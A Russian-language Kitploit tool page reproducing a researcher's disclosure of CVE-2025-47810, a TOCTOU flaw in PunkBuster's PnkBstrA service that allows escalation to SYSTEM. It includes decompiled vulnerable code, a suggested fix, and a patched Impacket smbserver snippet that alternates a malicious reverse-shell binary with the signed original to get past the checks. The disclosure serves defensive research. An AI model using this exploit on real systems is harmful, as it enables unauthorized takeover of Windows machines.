Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-47810 — PunkBuster LPI в NT AUTHORITY\SYSTEM | Kitploit
Инструменты/GitHubGitHub/ptrstr/cve-2025-47810
Повышение привилегийАнализ уязвимостейЭксплуатацияЛатеральное перемещениеАнализ Бинарных Файлов
GitHubptrstr/cve-2025-47810

CVE-2025-47810

PunkBuster LPI в NT AUTHORITY\SYSTEM

Репозиторий
11 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PunkBuster LPI (CVE-2025-47810)

Screenshot

Общие сведения

PunkBuster устанавливает себя как две службы и (опционально?) драйвер ядра.

  • PnkBstrA: Служба, которая постоянно работает в фоне и отвечает за управление PunkBuster в целом.
  • PnkBstrB: Служба, которая запускается при старте защищённой игры. Обладает большей функциональностью, чем её аналог A.

Обе службы устроены похожим образом: они прослушивают UDP на localhost на порту в диапазоне [44301, 44400]. Как только порт найден, он записывается в значение Port в HKLM:\SOFTWARE\Even Balance\PnkBstrA или HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA.

Каждый запрос сохраняется в глобальный буфер длиной 1500 байт (однако принимается только 1499 байт, чтобы осталось место для завершающего NUL).

Стандартной структуры данных запроса нет, но обычно она выглядит так:

  • первый байт (обычно буква) указывает, какую функцию вызвать
  • аргументы для функции, обычно разделённые пробелами, если их несколько

Типы запросов в PnkBstrA следующие:

  • l: Load (загрузка): запускает и обновляет PnkBstrB
    • Принимает один (необязательный) аргумент — путь к обновляемому исполняемому файлу PnkBstrB.
  • u: Unload (выгрузка): останавливает PnkBstrB
  • v: Version (версия): просто возвращает версию
  • m: Monitor (мониторинг): принимает PID и проверяет, загружена ли клиентская DLL PunkBuster (pbcl.dll) в процесс; если да — сбрасывает её память.

Уязвимость

Обработчик загрузки (l) содержит TOCTOU-уязвимость, приводящую к локальному повышению привилегий до NT AUTHORITY\SYSTEM.

Поток выполнения обработчика выглядит примерно так:

  1. Удаляет службу PnkBstrB
  2. Вычисляет MD5 файла, переданного в аргументе (если он указан)
  3. Проверяет Authenticode и сертификаты исполняемого файла из аргумента (если он указан)
    • Среди прочих проверок убеждается, что субъект сертификата — Even Balance, Inc.
  4. В течение от 750 мс до 2,25 с не держит дескрипторов файла и в это время пытается скопировать файл из аргумента в C:\Windows\SysWOW64\PnkBstrB.exe или C:\Windows\System32\PnkBstrB.exe в зависимости от платформы
  5. Вычисляет MD5 скопированного в системный каталог файла
  6. Проверяет, что оба MD5-хеша совпадают
    • Если совпадают, создаёт и запускает службу PnkBstrB от имени LocalSystem с только что скопированным файлом.

Проблема в том, что файл, с которым работает PnkBstrA, многократно открывается заново для каждой операции, что позволяет атакующему подменить файл между операциями.

В результате после проверки сертификата файл может быть подменён, и вредоносный файл окажется исполняемым файлом службы PnkBstrB. Такой исполняемый файл позволил бы непривилегированному пользователю повысить привилегии до NT AUTHORITY\SYSTEM.

Соответствующая декомпиляция показана здесь:

root@kitploit:~
int startPnkB(char *updateFileName) {
    ...

    // Calculate first MD5
    firstMd5Fp = fopen(updateFileName, "r+b");
    strcpy(firstMd5, "1");
    if ( firstMd5Fp )
      computeMD5(updateFileName, firstMd5);
    nowMs = GetTickCount();
    busyWaitExpiration = rand() % 800 + 300;
    while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
      ;
    fclose(firstMd5Fp);

    // INJECTION POINT 1

    // Check certificate
    certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
    if ( g_Warnings >= 3 )
    {
      log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
      if ( certificateFilePointer )
        fclose(certificateFilePointer);
      return 0;
    }

    if ( !checkValidCertificate(updateFileName) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
      goto LABEL_49;
    }

    // Build path to copy to
    GetSystemDirectoryA(g_SystemDirectory, 246u);
    if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
      strncat(g_SystemDirectory, 260, "\\");
    strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
    _chmod(g_SystemDirectory, 0600);
    strcpy(Str, g_SystemDirectory);

    ...

    // INJECTION POINT 2

    Sleep(750u);
    if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
    {
      Sleep(750u);
      for ( startTimea = 1; startTimea > 0; --startTimea )
      {
        Sleep(750u);
        if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
          break;
      }
      if ( startTimea < 1 )
      {
        LastError = GetLastError();
        log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
        fclose(certificateFilePointer);
        return 0;
      }
    }


    // Make sure we previously opened the file
    v9 = certificateFilePointer;
    if ( certificateFilePointer )
    {
      fclose(certificateFilePointer);
      v9 = fopen(g_SystemDirectory, "rb");
    }

    // Second MD5
    strcpy(newMd5, "2");
    if ( v9 )
      computeMD5(g_SystemDirectory, newMd5);
    if ( memcmp(firstMd5, newMd5, 0x10u) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
  LABEL_41:
      if ( v9 )
        fclose(v9);
      return 0;
    }
    ServiceA = CreateServiceA(
                 hSCManager,
                 "PnkBstrB",
                 "PnkBstrB",
                 0xF01FFu,
                 0x10u,
                 2u,
                 1u,
                 g_SystemDirectory,
                 0,
                 0,
                 0,
                 0,
                 0);

    ...
}

Простое исправление: сначала копировать файл в безопасное временное расположение (например, PnkBstrB.exe.tmp), а затем вычислять MD5 и выполнять проверки оттуда. Так файл не сможет изменить злоумышленник. Это также гарантирует, что открыта только одна копия файла, что предотвращает эксплуатацию через SMB.

Эксплуатация

Подход 1

Сценарий атаки может быть таким: предоставить вредоносный файл, дождаться вычисления MD5, заменить файл на оригинальный PnkBstrB.exe, чтобы проверки WinVerifyTrust и сертификата прошли, а затем снова заменить его на вредоносный файл, чтобы прошла вторая проверка MD5 и файл был скопирован и выполнен.

Однако этот сценарий очень сложно реализовать, поскольку замена файла затруднена, а его изменение, пока он открыт PnkBstrA, похоже, не применяется. Это связано с тем, что сложно запланировать выполнение нашего кода в INJECTION POINT 1, как показано в коде. Вероятно, это возможно с помощью множества приоритетных по времени потоков, часть из которых постоянно пытается заменить файл, а другие блокируют параллельные ядра в занятых ожиданиях (busy waits).

Подход 2

Другой подход — попытаться получить коллизию MD5 между PnkBstrB и вредоносным файлом. Это сработало бы так: сначала легитимный файл используется как кандидат для первого MD5 и проходит проверку сертификата. Однако после этого у нас есть хорошее окно в 750 миллисекунд или больше, чтобы заменить файл на наш. Затем вторая проверка MD5 прошла бы, и наш файл был бы внедрён. Однако во время разработки мне было лень ждать генерации коллизии, поэтому я выбрал другой подход.

Подход 3

Этот код зависит от Windows и использует fopen, который сопоставляется с собственными функциями ввода-вывода Windows. По определению это означает, что SMB-ресурсы будут доступны. Кроме того, MSDN упоминает, что такое поведение поддерживается:

fopen принимает UNC-пути и пути, связанные с сетевыми дисками, при условии, что система, выполняющая код, имеет доступ к общему ресурсу или подключённому диску на момент выполнения.

Это означает, что мы можем использовать наш первый подход, но поскольку код будет зависеть от нашей SMB-шары, мы отправляем разные файлы в зависимости от того, сколько раз файл был запрошен.

Модифицируя smbserver из Impacket, можно получить такое поведение. Полный файл .patch можно найти здесь. Ключевые изменения:

root@kitploit:~
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
    ...
    
    if not hasattr(smbServer, '_hist'):
        smbServer._hist = {}

    if pathName.endswith('.exe'):
        if pathName not in smbServer._hist.keys():
            smbServer._hist[pathName] = 0
        
        smbServer._hist[pathName] += 1

        if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
            pathName = './PwnBstr.exe'
        else:
            pathName = './PnkBstrB.exe'

Как видно, если файл открывается в первый раз (первый MD5) или по крайней мере в восьмой раз (копирование файла и далее), мы отправляем клиенту вредоносный файл, а в остальных случаях — оригинальный.

Код вредоносного файла можно найти здесь; это простой сервис «hello world» с reverse shell.

https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220

Раскрытие

EvenBalance неоднократно связывались с 2025-02-15 разными способами, но не ответили.

Проблема была полностью раскрыта 2025-05-10.

Скачать инструмент